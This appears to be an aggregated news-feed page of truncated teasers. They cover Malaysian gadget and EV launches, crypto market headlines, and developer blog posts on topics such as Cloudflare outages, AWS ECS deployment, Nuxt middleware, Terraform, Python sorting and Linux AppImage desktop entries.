Last month, Fujifilm unveiled the instax mini LiPlay+, succeeding the mini LiPlay. Following the initial announcement, the brand has officially brought its latest hybrid instant camera to our shores. Like the preceding model, the mini LiPlay+ doubles as a smartphone printer. Beyond that, it comes with some upgrades, including a new selfie-taking capability. As a […] The post Fujifilm instax mini LiPlay+ Lands In Malaysia; Priced At RM938 appeared first on Lowyat.NET.  ( 35 min )

If you’ve kept up with Samsung, then you might have heard that the company plans to launch its very own smart glasses sometime in 2025. But seeing how the year is almost over, we won’t be seeing it until 2026. Be that as it may, Samsung has disclosed several details about the wearable ahead of […] The post Samsung Galaxy Glasses Details Revealed Ahead Of 2026 Unveiling appeared first on Lowyat.NET.  ( 35 min )

The upcoming TQ Wuling Bingo is now open for booking, just days after the fully electric (EV) hatchback received its updated specifications. As per the automaker’s official website, both the Pro and Max variants can be reserved with a booking fee of RM50. Customers can also choose their preferred colour during the booking process. The […] The post TQ Wuling Bingo Now Available For Booking In Malaysia appeared first on Lowyat.NET.  ( 34 min )

Japanese researchers at NTT Laboratories have reportedly developed what they are calling the “world’s first spatial active noise control (spatial ANC) technology. While the technology isn’t new, its application in this context can fill a room, literally. NTT Laboratories says it achieved the spatial ANC by using a general purpose GPU, or GPGPU. “This technology […] The post Japanese Researchers Have Developed GPU-Powered, Room-Sized ANC Technology appeared first on Lowyat.NET.  ( 34 min )

U Mobile has rolled out its ULTRA5G network to three more major areas in the Klang Valley, bringing the next-generation 5G coverage to Bangi, Putrajaya, and Petaling Jaya New Town. Customers can now access the telco’s enhanced 5G experience throughout these entire townships, with supported devices displaying the “UM ULTRA5G” network name whenever the service […] The post U Mobile Expands ULTRA5G In Bangi, Putrajaya, And PJ New Town appeared first on Lowyat.NET.  ( 35 min )

Lepas Malaysia has confirmed its debut in the local market in the first half of 2026. Recently, during a Media Connection Session, the company confirmed that its first model for the Malaysian market will be the L8 SUV. As previously highlighted, the SUV showcases sharp, angular LED daytime running lights, vertically stacked LED headlights set […] The post Lepas Malaysia Confirms L8 SUV As First Model For 2026 Launch appeared first on Lowyat.NET.  ( 34 min )

HONOR’s intriguing “Robot Phone” has made an appearance during the brand’s HONOR User Carnival in China. Initially revealed just partially via numerous teasers, the device is finally shown in all of its glory to visitors of the event. In case you missed our prior coverage, what makes the HONOR Robot Phone unique is its three-axis […] The post HONOR Robot Phone Makes First Physical Appearance In China appeared first on Lowyat.NET.  ( 34 min )

TikTok is preparing to give users more control over how much AI-generated content appears in their feeds. The company confirmed that a new AI content control toggle will arrive soon in the Manage Topics section, offering a slider that adjusts the amount of AI content shown in the For You feed. This sits alongside existing […] The post TikTok To Let Users Limit AI Content Appearing In Their Feeds appeared first on Lowyat.NET.  ( 33 min )

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The feature connects USDT balances to PIX and Mercado Pago, enabling users to pay with QR codes and converting to local currency instantly.  ( 33 min )

The 67-year-old Hill’s recent autism diagnosis, as well as his advanced age, seemed to serve as mitigating factors for the sentencing judge.  ( 36 min )

"Blackwell sales are off the charts, and cloud GPUs are sold out," said Nvidia CEO Jensen Huang.  ( 33 min )

The protocol will instead focus on "liquidity infrastructure and deals" such as its recent $1 billion investment into PayPal's PYUSD.  ( 33 min )

Mike Selig, the nominee to be the next chairman of the Commodity Futures Trading Commission, testified at his confirmation hearing in the Senate.  ( 36 min )

Traders slash chances of a December cut to 33% as the Fed loses a key data point ahead of its final 2025 meeting.  ( 35 min )

The New Hampshire Business Finance Authority took the opening steps toward shepherding a potential $100 million private-sector bitcoin bond.  ( 34 min )

Onchain lending drove crypto-collateralized debt to a new peak in last quarter, but the leverage underpinning the market is now better collateralized than during the previous cycle.  ( 35 min )

ZKPs could become the backbone of a new era of trusted AI and digital identity, giving individuals and organizations a way to interact safely and transparently across platforms and borders, argues Evin McMullen, CEO and co-founder of Billions Network.  ( 39 min )

After a rare spot of outperformance on Tuesday, bitcoin has resumed sliding, with one analyst eyeing $84,000–$86,000 as potential local bottom.

Technical breakdown gains momentum as institutional selling accelerates through overnight session.

The move comes amid new regulations from Brazil's central bank, requiring crypto firms to be licensed and report international transactions.

Hedera's native token breaks key levels on elevated volume. Institutional distribution patterns intensify selling pressure.

A surge in trading activity at key resistance levels marked the exhaustion of Monday’s rally, sending ICP back toward its short-term support band.

BONK slipped beneath a key support level amid a sharp rise in trading activity, with intraday charts now pointing toward a fragile short-term structure.

In this week’s Crypto Long & Short Newsletter, Joshua de Vos shares insights from a recent Benchmark report on how the exchange landscape is maturing and becoming more execution-focused, but increasingly uneven as regional licensing diverges, liquidity fragments, and transparency advances inconsistently. Then, we take a look at where the digital assets market may be headed in the final weeks of 2025 with Andy Baehr’s “Vibe Check."

The Senate Banking Committee voted along party lines to send FDIC Acting Chair Travis Hill's nomination to the wider Senate for a final vote on taking the permanent job.

Also: Aerodrome Overhaul, Cloudflare Outage and dYdX Buyback Increase Approved.

The digital-asset treasury firm is sitting on a over 100% paper gains following Zcash's recent rally.

Staking guidance, broader listing standards and new index tools show how crypto ETFs are becoming core holdings.

Bitcoin Cash (BCH) fell 7% and Ripple (XRP) dropped 4.7%, leading the index lower.

Shares of the company rose 2% in pre-market trading.

Erik Thedéen said a different approach is needed as the U.S. and U.K. refused to implement the rules already set out.

London-based Globacap’s U.S. broker-dealer and alternative trading system (ATS) is regulated by FINRA and the SEC.

Investors navigate AI driven volatility, rate cut uncertainty and critical economic data releases.

Your day-ahead look for Nov. 19, 2025

With bitcoin stabilizing near critical support, traders shifted into altcoins, sparking sharp rebounds across a market still gripped by extreme fear.

The average spot bitcoin ETF buyer sits near a $90,000 cost basis, leaving most investors roughly flat.

Hyperliquid has launched HIP-3 growth mode, allowing permissionless market deployment with significantly reduced fees to enhance liquidity.

The wallet provider is deepening its bet on decentralized derivatives trading with a three-part integration.

A new class of Symbiotic underwriting vaults will create a reinsurance layer to help scale Nexus Mutual.

The price of bitcoin has dropped over 25% to $91,000 since Oct. 8.  ( 35 min )

Market observers note stable XRP/BTC and ETH/BTC ranges and an unusually balanced top-20 ranking, signaling fundamentals-driven dispersion rather than a broad alt season.  ( 34 min )

There was a stretch of days where my terminal tabs felt like they were slowly multiplying behind my back. I’d open a new project “just to try something,” hop into a client repo to fix a bug, jump into another folder because I remembered I needed to update something “real quick,” then spin up yet another experimental idea at 1 a.m. before bed. Suddenly I had four different terminals open, each running something important, each shouting logs at me, and absolutely no memory of which script belonged to which project. And honestly? But eventually I realized a pattern: managing coding. I wanted one place, a calm little command center, where I could see all my projects, what scripts they had, what was running, what wasn’t, and what was broken. No more guessing. No more hunting. No more “oh cool, …  ( 8 min )

Nothing much to mention today, I just wanted to take some rest! Youtube videos are lot of confusing, if you have any ideas or suggestions on how to learn this, please help me out! Django #WebDevelopment #Python #LearningInPublic #100DaysOfCode #BeginnerDev #postgresql  ( 6 min )

Manufacturers using Microsoft Dynamics 365 Business Central know that production scheduling can quickly become complicated. The built-in tools handle basic scheduling, but when multiple work centers, machine constraints, and shifting priorities come into play, things get complex. Below are three common questions users ask when schedules look good on-screen but fall apart on the shop floor. Business Central’s standard scheduling uses backward scheduling and assumes infinite capacity. The system works backward from a due date to suggest a start date, often setting production to begin in the past. Machines and work centers appear to have unlimited hours, leading to overloaded schedules no team could realistically execute. Production managers spend hours manually moving tasks, adjusting timeli…  ( 7 min )

Manufacturers using Microsoft Dynamics 365 Business Central know that production scheduling can quickly become complicated. The built-in tools handle basic scheduling, but when multiple work centers, machine constraints, and shifting priorities come into play, things get complex. Below are three common questions users ask when schedules look good on-screen but fall apart on the shop floor. Business Central’s standard scheduling uses backward scheduling and assumes infinite capacity. The system works backward from a due date to suggest a start date, often setting production to begin in the past. Machines and work centers appear to have unlimited hours, leading to overloaded schedules no team could realistically execute. Production managers spend hours manually moving tasks, adjusting timeli…  ( 7 min )

I’ve been looking for a controller that bridges the gap between a traditional club setup and a more experimental, production-driven workflow. Last week I started testing the Pioneer DDJ-FLX10, and it has already reshaped the way I think about mixing. I wasn’t expecting it to have such a big impact, but a few days with it made certain ideas feel possible that I couldn’t quite execute on other gear. The most talked-about feature is the Track Separation system, and it really does live up to the hype. Being able to isolate vocals, drums, and melodic elements in real time gives you far more flexibility than the standard EQ or filter approach. It feels closer to having stem packs for every song in your library, even if the original track wasn’t designed that way. I’ve already used it to strip ou…  ( 7 min )

In late 2025, three large models dominate most serious AI discussions: Google’s Gemini 3, OpenAI’s GPT-4 (and GPT-4 Turbo via ChatGPT), and Anthropic’s Claude 2/2.1. All three are capable flagships, yet they embody very different philosophies: Google optimizes for multimodality and massive context. OpenAI emphasizes polished reasoning and rich tooling. Anthropic focuses on safety, honesty, and long-context analysis. which model is best for a given use case, you need more than marketing claims. You need a structured comparison of architecture, reasoning, coding ability, context length, multimodality, developer ergonomics, and safety. This article offers exactly that — in an editorial yet technical framing, optimized for SEO and GEO coverage across US, EU, and APAC audiences. Gemini …  ( 19 min )

Why Chatbots Change User Behaviour and Why Google Might Regain the Lead Conversational AI is becoming the default interface for everyday digital tasks. People ask questions, explain situations and seek guidance in a way that feels natural. But behind that convenience sits a shift that most users barely recognise. Chatbots receive far more personal context than search engines ever did, and this difference has major implications for privacy and platform dominance. This article examines the concerns that come with this new behaviour and why Google’s position in the ecosystem may eventually give it an advantage over standalone assistants like ChatGPT. For more insights on AI transformation, visit the Scalevise resource hub at https://scalevise.com/resources A search bar limits how much peopl…  ( 12 min )

Large language models (LLMs) have evolved from impressive demos into the computational backbone of search, coding copilots, data analysis, and creative tools. But as pre-training pushes up against data scarcity and rising compute costs, simply “making the base model bigger” is no longer a sustainable strategy. In 2025, the real leverage has shifted to post-training: everything we do after the base model is trained to turn a generic text predictor into a reliable, aligned, domain-aware system. OpenAI, Scale AI, Hugging Face, Red Hat, and others are converging on the same insight: if pre-training built the engine, post-training is where we tune it for the track. This article explains: What LLM post-training is and why it matters in 2025 Top post-training techniques (SFT, RLHF, PEFT, continu…  ( 16 min )

Exploring how traffic moves inside a VPC can make AWS networking feel much more approachable. Route tables and Internet Gateways (IGWs) quietly influence how your subnets function across your network. In this article, we’ll walk through them step by step so the concepts stay clear and grounded. Route tables are essentially instruction sets that guide traffic within your VPC. Each subnet connects to exactly one route table, which determines what that subnet can reach. The default local route (for example, 10.0.0.0/16 local) lets all subnets talk to each other without extra configuration. Anything beyond that depends on the routes you add. Think of routes like road signs: “If traffic wants to go to X, send it to Y.” Route tables also become more interesting in multi-VPC environments. You mig…  ( 9 min )

Over the past few months, I’ve been working on integrating a number of LLM-based features throughout our product; things like content generation, intelligent recommendations, and agentic task flows. As these features matured, one question kept coming up: how do we actually test this? Traditional unit testing works beautifully for deterministic code. You write a test, assert an expected output, and move on. But LLMs don’t behave that way; run the same prompt twice and you'll get two different responses. So how do you test something that never gives you the same answer? Our in-house LLM service already had strong test coverage, so at the application layer we treated it like any other dependency: we mocked it. Our unit tests would stub out the LLM responses and focus on testing the code aroun…  ( 11 min )

When joining a mixed reality (XR) company I wanted to help with the scripting and we were all on Windows at the time. So, I was introduced to PowerShell and system management. I quickly found out that Windows makes everything difficult. Networked system communication, software versioning and an overall bloated OS to name a few pain points. One of the core functions of our dashboard was to run PowerShell scripts from Unreal. I discovered when running 20 scripts at once would just max out the CPU. Each instance of PowerShell launches a .NET instance in the background, couple that with anti malware software scanning it or a machine left on all the time and you've got a bad time. Even basic ping scripts would be unreliable, Windows limits network resources so they cannot be abused (ICMP throt…  ( 7 min )

As AI systems evolve from single-user assistants into multi-participant collaborators, ChatGPT Group Chat has emerged as one of the most important developments in OpenAI’s product roadmap. Instead of siloed conversations, teams can now interact with ChatGPT in a shared, persistent environment, transforming it into an AI-native workspace for communication, knowledge sharing, and real-time ideation. what ChatGPT Group Chat is, how it works, and why it matters for global organizations, educators, and everyday users. Written with SEO GEO in mind, the piece maintains a technical and editorial tone while providing practical guidance for readers across the US, EU, and APAC. In the updated ChatGPT interface, users can initiate a group chat by selecting “Start a Group Chat” from the navigation bar…  ( 9 min )

This part of the Nuxt tutorial focuses on middleware — handlers that can be invoked automatically before rendering a given page on the frontend or before processing data on the server side. Client-side middleware files live in the /app/middleware folder, from which Nuxt automatically loads them. Middleware runs during navigation (routing). For a file to be recognized as middleware, it must export default the defineNuxtRouteMiddleware method. The handler receives to (destination) and from (origin) route objects. The syntax looks like this: export default defineNuxtRouteMiddleware((to, from) => { // logic }) The type of to and from params comes from Vue Router and is called RouteLocationNormalizedGeneric. Through these objects you can access all key navigation info — URL, query parameters…  ( 9 min )

Text-to-image diffusion models have become the workhorses of generative imaging. They can paint photorealistic scenes, mimic art styles, and blend concepts in ways that were science fiction a few years ago. Yet they stumble embarrassingly on a skill that even small children master: basic spatial reasoning. Ask a state-of-the-art model for “a dog to the right of a teddy bear” and you often get: The dog on the left One of the objects missing Or a bizarre hybrid where dog and teddy are fused into a single creature These failures become more severe for unusual compositions like “a giraffe above an airplane”. Traditional fixes range from expensive fine-tuning to brittle, hand-written loss functions at inference time—but both options come with significant downsides. NVIDIA’s Learn-to-Steer fram…  ( 15 min )

Swift 6.3 is bringing significant enhancements to Embedded Swift, the subset of Swift designed for resource-constrained environments like microcontrollers. Here's what's new: Floating-point printing: The description and debugDescription properties now work for Float, Double, and other floating-point types with a new all-Swift implementation Better diagnostics: New EmbeddedRestrictions diagnostic group warns about unsupported language constructs Swift MMIO 0.1.x: Includes code generation from SVD files and improved debugging with SVD2LLDB plugin @c attribute: Define C-compatible functions and enums (from SE-0495) @c(MyLib_initialize) public func initialize() { ... } Improved type matching: Better tolerance for mismatching C signatures, eliminating cryptic deserialization errors Enhanced LLDB support: Better value printing for Embedded Swift types Core dump inspection: Dictionary, Array, and other common types now inspectable without a live process ARMv7m exception unwinding: Complete backtraces through exception frames @section and @used attributes: Control where globals are emitted and ensure symbols aren't stripped (SE-0492) Weak symbol definitions: Fixes duplicate symbol errors in diamond dependencies @export attribute: Better control over function visibility (SE-0497) Want to dive deeper? Read the full announcement on Swift.org  ( 8 min )

I’ve been continuing to chip away at EcoFurball — my little side project focused on sustainable, eco-friendly pet care. If you saw my earlier post, you know this is something I’m building slowly, one useful guide at a time. This week, I published a new article that dives into something most pet owners (including me, originally) never think about: microplastics in our pets’ daily routine. From water bowls to indoor dust, it’s wild how many small things add up. Here’s the new post if you’re curious: 👉 [https://ecofurball.com/reduce-microplastics-in-your-pets-routine/] From a project-building perspective, this piece was fun because it touched multiple parts of the workflow: researching a topic where pet care overlaps with environmental science writing with clarity but avoiding the “SEO robot voice” creating multiple images and matching schemas and making sure the whole thing fits into the content structure I’ve been evolving over the last couple of months The more I work on EcoFurball, the more I realise that keeping the site healthy isn’t just about writing articles — it’s about maintaining the workflow behind them: backlinks, fresh posts, image prep, schemas, and the whole publishing pipeline. If you’re working on a side project too — whether it’s dev-focused or content-focused — I’d love to hear: Always open to hearing how other creators balance consistency with everything else in life.  ( 6 min )

Three major outages in 2025 looked unrelated, but all were triggered by the same hidden architectural weakness. This post breaks down how tiny internal assumptions inside AWS, Azure and Cloudflare cascaded into global failures, and why this pattern matters for anyone building distributed systems. Cloudflare’s outage this week looked like another routine disruption. These were not isolated failures. shared structural pattern. Different providers. Different stacks. Different layers. Same failure behaviour. Cloudflare’s incident had nothing to do with load, DDoS attacks, or hardware. The sequence unfolded like this: extra metadata became visible a bot-scoring query wasn’t built to handle it the feature file doubled in size it exceeded a hardcoded limit FL proxies panicked bot scoring col…  ( 8 min )

Yesterday’s Cloudflare outage wasted a few hours of my time — not because the outage was confusing, but because my monitoring stack gave me zero context about what was actually failing. Everything lit up red. Every alert fired. my origin Cloudflare’s edge DNS SSL routing My servers were completely fine the whole time. The real issue ended up being Cloudflare’s Bot Management system (a feature file doubled in size and tripped them up). The bigger discovery: So I built a simple tool today to diagnose exactly that: 👉 https://stayup.dev Paste a URL and it checks: origin health Cloudflare/Vercel/AWS edge DNS SSL expiry CDN failure patterns I built this out of frustration, but if you’re interested I’d love to hear how your monitoring handled the outage yesterday.  ( 6 min )

En este post te cuento cómo desplegué una aplicación en AWS usando Elastic Container Service (ECS) y Elastic Container Registry (ECR). 👉 La idea es: contenerizamos la app, subimos la imagen, armamos un clúster ECS y la aplicación queda corriendo en ECS (Con EC2) ARQUITECTURA 🐳 1. Preparar la instancia EC2 para construir la imagen Primero lanzamos una EC2 con Amazon Linux 2023 para preparar la imagen que luego enviaremos a ECR. 🔧 Instalar Docker y Git sudo dnf update -y sudo yum install -y docker sudo systemctl enable --now docker sudo systemctl status docker sudo yum install -y git 📥 Clonar el repositorio y construye la imagen. Clona la carpeta 4 del repositorio: https://github.com/NotHarshhaa/DevOps-Projects/tree/master/DevOps-Project-04 git clone cd <directorio…  ( 7 min )

Brazilian is a Python library focused on providing a simple and powerful way to work with common Brazilian data. It is currently in its early stages, contributors and feedback are welcome. GitHub: (link below) https://github.com/MauricioReisdoefer/brazilian  ( 6 min )

System design interviews can feel overwhelming. You draw big boxes. You label them. You sketch arrows.You talk about APIs, queues, caching, scalability, data models, and failure modes. And even after all that, your interviewer can still say, "What happens when this part fails?" or "Walk me through your data consistency model." It feels endless 😭 But after seeing hundreds of candidates prepare, practice, and interview, one pattern has become incredibly clear. You can memorize dozens of famous system designs from YouTube videos or GitHub repositories. You can replicate architecture diagrams for Netflix, Uber, or Instagram. But real interviews almost never follow that script. Instead, interviewers test how you think. They ask questions like: Explain http vs https Why would you choose REST o…  ( 8 min )

Sooner or later you inherit a codebase that makes you wonder if the previous developer lost a bet. I gave candidates exactly that kind of application; circular dependencies, no separation of concerns, a structural mess and asked them to extend it. Their reactions exposed a deeper cultural divide in how developers think about their work. The initial app was a deliberate train wreck: violations of separation of concerns, circular dependencies, and no real interfaces. It exposed multiple endpoints such as HTTP and SMTP. The task was to add a new JMS endpoint. The idea was simple. Applicants received instructions written in the voice of a business owner. It wasn’t a trick question or a strict feature-delivery test. Yes, they had to add the endpoint, but the real question was whether they’d con…  ( 8 min )

I truly believe computer-vision powered control systems are inefficient. Listen to me… Computer vision takes more compute power than necessary in the sense that it does more work just to get something simple done. Like imagine I just want to “click” a button. It sounds futuristic and cool, but the world of engineering is not about “cool”, it’s about efficiency. It’s about the cleanest, most reliable, most deterministic way to get something done. But CV? orders of magnitude more energy than basic sensors, even when compressed or run on microcontrollers. And then we want to make this whole stack the “OS” of the system? foundation we’re supposed to trust? The moment you make CV dynamic, you’re telling the model to deal with noise — light changes, shadows, random movement in the background, mistakes where the model thinks your hand is a command you didn’t mean, etc. Even industry papers emphasize how camera-based gesture systems get false positives in messy environments. And a control layer that triggers stuff you didn’t intend is the fastest way to create a very unreliable system. An OS should be accurate more often than not. CV doesn’t give you that consistency unless you freeze the environment — fixed lighting, fixed angle, fixed setup — and that’s not how normal people use computers. So for me, CV fits more into monitoring roles, not control roles. Monitoring = “watch the scene, tell me what’s happening.” CV excels at monitoring. That’s where it shines. Surveillance, object detection, anomaly spotting, robotics feedback loops — the research literally shows CV thrives when it’s observing and reporting. But controlling an OS? You might ask: “What about VR?” simple sensors first and then sprinkle in CV only for extra precision. Because those basic sensors are faster, cleaner, and more reliable for moment-to-moment control. In simple terms: primary way we control systems just feels like the wrong engineering choice right now.  ( 7 min )

Building a Dice Battle Simulator with Monte Carlo Analysis in Java Ever wondered what your actual chances are in dice-based combat systems? I built a simple Java program to find out, and the results were a big surprise. Note: This battle system is similar to the dice comparison mechanics used in the board game Risk (a trademark of Hasbro). This is purely an independent interpretation and not an official use of the trademark. In this dice battle system, battles are decided by dice rolls with some interesting rules: One attacker must always stay behind - if you have 5 troops, only 4 actually attack Attacker rolls 1-3 dice (based on attacking troop count) Defender rolls 1-2 dice (based on troop count) Highest dice are compared Defender wins ties (this is crucial!) Simple question: If I have…  ( 9 min )

Alchemy Reimagined: AI-Powered Atom Creation for Novel Materials Imagine searching for the perfect material for a next-generation battery, only to be limited by existing atomic structures. Or designing a revolutionary drug, but failing to synthesize the key crystalline compound. These challenges highlight a fundamental bottleneck in materials discovery: the fixed nature of atomic composition. We've developed a new approach that allows AI to transcend these limitations. By enabling our diffusion models to dynamically introduce or remove atoms during the crystal generation process, we dramatically expand the design space. Think of it like clay sculpting – the AI can now add or subtract atomic "clay" to mold entirely new crystal structures. This dynamic adjustment, which we call "mirage inf…  ( 7 min )

Software development is changing fast, and AI-powered tools are becoming a natural part of the workflow. One tool getting a lot of attention is Cursor—an AI-first code editor designed to boost productivity without replacing your ability to think and code. This article breaks down what Cursor actually is, common fears around adopting it, how to use it properly, new vs experienced developers, some downsides, etc. Cursor is a code editor built around AI assistance. Think of it like VS Code, but with an intelligent companion sitting inside the editor. This companion can read your codebase, make changes, generate new files, refactor existing ones, and help you understand complex areas. You can write prompts directly inside your editor, select parts of your code, and ask Cursor to fix, rewrite, …  ( 10 min )

You’ve done it. I’ve done it. Every Python developer has done it. Staring at a block of code, you see the familiar pattern: an empty list is initialized, a for loop iterates over some collection, and inside the loop, append() dutifully adds a transformed or filtered item to the new list. It works. It’s the classic way. But it often feels verbose, a multi-line ceremony for a simple intent. This procedural approach, while functional, can obscure the what with the how. As we tackle more sophisticated challenges in domains like data processing, generative AI, and large language models (LLMs), the clarity, efficiency, and sheer expressiveness of our code become paramount. Clean, compact code isn't just an aesthetic choice; it translates to faster data processing, easier maintenance, and a more …  ( 13 min )

TL;DR # if we have a class like this from dataclasses import dataclass @dataclass(order=True) class Item: name: str quantity: int # in a big enough list items = [Item("book", 5), Item("pencil", 3), Item("book", 6), ...] # this sorting will be faster items.sort(key=lambda item: (item.name, item.quantity)) # than this items.sort() Why? Well... One of the things Python makes really simple is sorting. You can easily find the answer to the question "how sorting is implemented in Python?" which almost always answers another question: "What sorting algorithm does Python use?". The answer often leaves one detail behind. An optimization introduced in python 3.7: sorted() and list.sort() have been optimized for common cases to be up to 40-75% faster. (Contributed by Elliot Gorokhovsky i…  ( 11 min )

💭 The Problem I found myself committing a cardinal sin in Terraform — repeating configuration across multiple projects. When deploying Azure resources, we often need region- or environment-specific values. For example, virtual networks may need different routes or DNS servers depending on the location. I was managing these using lookup tables in local variables, like this: locals { firewall_ip = { "westeurope" = "10.0.0.1" "northeurope" = "10.0.0.2" } } This worked fine… until it didn’t. Every time a region or IP changed, I had to update the same table in multiple projects — a maintenance nightmare. What I really needed was a global lookup table — a shared, central source of truth I could query across all Terraform projects. The solution turned out to be beautifully simple…  ( 7 min )

Our company wants us to create some restriction on the network. From the diagram above we need to perform the following tasks to managed permissions using secrets keys and certificates. Let’s follow the four steps to demonstrate the solutions. Create the storage account and managed identity. Secure access to the storage account with a key vault and key. Configure the storage account to use the customer managed key in the key vault. Configure a time-based retention policy and an encryption scope. Step 1. Provide a storage account for the web app. Step 2. Provide a managed identity for the web app to use. Step 3. Assign the correct permissions to the managed identity. The identity only needs to read and list containers and blobs Now let’s Secure access to the storage account with a key vault and key we created. Step 2. Create a key vault to store the access keys. Step 3. Create a customer-managed key in the key vault. Configure the storage account to use the customer managed key in the key vault Step 2. Configure the storage account to use the customer managed key in your key vault Configure a time-based retention policy and an encryption scope. Step 2. The developers require an encryption scope that enables infrastructure encryption. ..........The future of Tech is HERE...... Hope this resource helps! #Virtualization #RDP #CloudComputing #Techblog #ITInfrasttructure #MS #AZURE #VirtualMachine #Innovation #Technologytrend #AZURE # AZUREBLOB #DEVOPS VMWARE #HYPER-V #DevCommunity #Tech #CoachRaphaelGab-Momoh #Skill.Sch #SSLAB #LinkedInTechCommunity  ( 10 min )

Part 6 of 6 | The final installment in our comprehensive Java 17 features series This is Part 6 (final) of "Java 17 Features Every Senior Developer Should Know" - your complete desktop reference for all 6 modern Java features spanning Java 10-17. This guide consolidates everything from Parts 1-5, providing syntax cards, decision matrices, and real-world patterns you can reference while working with contemporary Java code. We've covered 6 major Java features that fundamentally changed how developers write clean, maintainable code: Part Feature Release Purpose 1 var - Type Inference Java 10 Eliminate verbose type declarations 2 Records - Immutable Data Java 16 Replace boilerplate data classes 3 Sealed Classes - Hierarchy Control Java 17 Enforce closed type systems 4 Pattern …  ( 14 min )

The Core Problem: Logging Has Become Too Heavy In many Node.js projects, logging libraries try to handle too much at once: complex configuration files confusing APIs nested options that make setup slower than writing your own wrapper blocking writes that slow down the event loop inconsistent performance between development mode and production I wanted to create a logger that didn’t feel like a burden. You should be able to add it to a project quickly and rely on it without thinking too much. GitHub Repository: https://github.com/Dev-Dami/tini-log The Philosophy Behind dd-tinylog 1 . It is Lightweight 2 . It is Flexible 3 . Making Simple Structures Real Usage Example Installation npm install dd-tinylog Simple Use of logger import { Logger } from 'dd-tinylog'; const logger = new Logger({ level: 'info', async: true, colorize: true, transports: [ { type: 'console' }, { type: 'file', options: { path: './logs/app.log' } }, ], prefix: '[My-App]', timestamp: true, }); logger.info('Server started'); logger.warn('Low disk space'); logger.error('Database error', { code: 500 }); Child Loggers const requestLogger = logger.createChild({ prefix: '[Request-123]', context: { requestId: 'req-123' }, }); requestLogger.info('Processing request'); This keeps logs organized without needing separate logger files or duplicated configuration. Where Does This Library Fit Web servers and APIs CLI tools Background workers Microservices Development and testing Regardless of the environment, the goal is the same: keep logs flowing without slowing everything else down.  ( 7 min )

I didn’t mean to end up at the beach that day. It was one of those afternoons where the whole world felt like it was pushing me from the inside out, and I didn’t know where to put that feeling. The sky was bright, the kind of blue that almost feels loud, and I remember thinking I should probably just go home, close the blinds, and pretend the day wasn’t happening. But instead, my steering wheel pulled me toward the water like it had its own plan. I drove with the windows cracked, my arm resting against the door, and the wind coming in just hard enough to feel real. I didn’t have a swimsuit, a towel, or anything that said I had planned for the beach. All I had in my bag was a book of poetry I’d been carrying around without reading, a snack, and a bunch of receipts I kept forgetting to throw…  ( 11 min )

Building a Risk Battle Simulator with Monte Carlo Analysis in Java Ever wondered what your actual chances are when attacking in Risk? I built a simple Java program to find out, and the results were a big suprise. In Risk, battles are decided by dice rolls with some interesting rules: One attacker must always stay behind - if you have 5 troops, only 4 actually attack Attacker rolls 1-3 dice (based on attacking troop count) Defender rolls 1-2 dice (based on troop count) Highest dice are compared Defender wins ties (this is crucial!) Simple question: If I have f.e. 5 attackers (4 real Attackers) vs 3 defenders, what are my actual chances of winning? Why this is the probability, I'll explain in this post. Instead of calculating exact probabilities (which gets complex fast), I used Monte Car…  ( 9 min )

1. Introduction Key Technical Topics Covered (Interview Highlights) Hybrid OLAP/OLTP architecture (Sections 1 & 2): Elasticsearch for multi-dimensional search + Redis for real-time availability (and why neither alone is sufficient). Transactional Outbox + CDC (Section 2.2): Keeping Elasticsearch in sync with the primary DB without dual writes. Elasticsearch modeling (Sections 3 & 4): Denormalized hotel/room documents, geo fields, amenity facets, script scoring, and index aliasing for zero-downtime reindex. Redis availability design (Section 6): Per-night bitmaps / sorted sets, multi-night intersections, TTL/eviction strategies, and consistency with bookings. Query pipeline (Section 7): Coordinated ES + Redis flow with fallbacks when availability or index data diverges. Advan…  ( 37 min )

All Linux distribution users are familiar with "AppImages": they are portable and do not require any prior installation. This is very convenient, but as it stands, the application does not appear in any of the computer's menus and is not necessarily detected by launchers. This is where .desktop files come in. A .desktop file is simply a text file that tells the computer that an application exists and creates a new entry in the menu. A basic .desktop file contains several informations about the application it describes : [Desktop Entry]: Mandatory header, that indicates a menu entry Type: "Application", "Link", or "Directory" (but here we want "Application") Name: The name that will appear in the menu Comment: The tooltip that shows when hovering over the icon. Icon: The path to the icon of the app Exec: The command to run to launch the app Terminal: To know whether it should run from a terminal or not Categories: To categorize the app (e.g., "Development", "Game", "Network") This would look like this : [Desktop Entry] Type=Application Name=MySuperApp Comment=Super is my app Icon=/home/YOUR_USER/Applications/my-super-app.png Exec=/home/YOUR_USER/Applications/MySuperApp.AppImage Terminal=false Categories=Utility; ⚠️ Exec and Icon don't understand relative paths. You need to use absolute paths for those fields. To have a functional menu entry, the AppImage needs to be executable, meaning it has the permission to be executed. To do so, the following command can be used : chmod +x /home/YOUR_USER/Applications/MySuperApp.AppImage For your desktop to know where to find your menu entry, you can your freshly created file in ~/.local/share/applications/. The menu entry will be available for the user possessing the .desktop file. It can also be placed in /usr/share/applications/, if all the user of the desktop should have the menu entry. You should now see your app with its icon. You can now search for it, pin it to your dock, or launch it just like any other installed application.  ( 7 min )

‘Weird Science’ Rewatch with Bill Simmons & Kyle Brandt Bill Simmons and Kyle Brandt dive headfirst into John Hughes’s 1985 cult classic Weird Science on their Ringer Rewatchables series, unpacking all the sex, drugs, rock ’n’ roll vibes (plus the inevitable chips, dips, chains and whips) that made this movie a neon-soaked time capsule. Expect a fun, nostalgia-packed breakdown of Anthony Michael Hall, Kelly LeBrock and Ilan Mitchell-Smith’s chemistry, plus plenty of laughs and insider anecdotes about why this goofy sci-fi comedy still hooks audiences today. Watch on YouTube  ( 6 min )

Llamado ético y convincente a los sujetos obligados para la implementación de TarantulaHawk.ai En el marco de la Ley Federal de Prevención e Identificación de Operaciones con Recursos de Procedencia Ilícita (LFPIORPI), los sujetos obligados en México enfrentan el desafío de detectar y reportar operaciones inusuales y relevantes a fin de prevenir y combatir el lavado de dinero y el financiamiento del terrorismo. En este contexto, es fundamental adoptar soluciones tecnológicas que no solo cumplan con los requisitos regulatorios, sino que también contribuyan a la reducción de costos, la trazabilidad y el cumplimiento sostenible. En este sentido, nos gustaría llamar la atención de los sujetos obligados hacia TarantulaHawk.ai, una plataforma SaaS de Prevención del Lavado de Dinero (PLD) basada …  ( 7 min )

